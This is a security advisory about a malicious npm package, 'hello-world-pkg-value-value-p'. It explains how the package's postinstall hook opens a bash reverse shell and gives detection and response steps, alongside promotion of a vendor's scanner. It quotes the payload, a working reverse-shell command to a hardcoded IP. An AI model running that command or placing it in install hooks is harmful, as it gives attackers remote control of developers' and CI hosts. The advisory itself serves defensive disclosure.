hello-world-pkg-value-value-pnpm
Malicious code in hello-world-pkg-value-value-p (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.
The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.

Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hello-world-pkg-value-value-p (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hello-world-pkg-value-value-p across your stack and pipelines.
If you installed it — respond
hello-world-pkg-value-value-p establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If hello-world-pkg-value-value-p was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hello-world-pkg-value-value-p before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
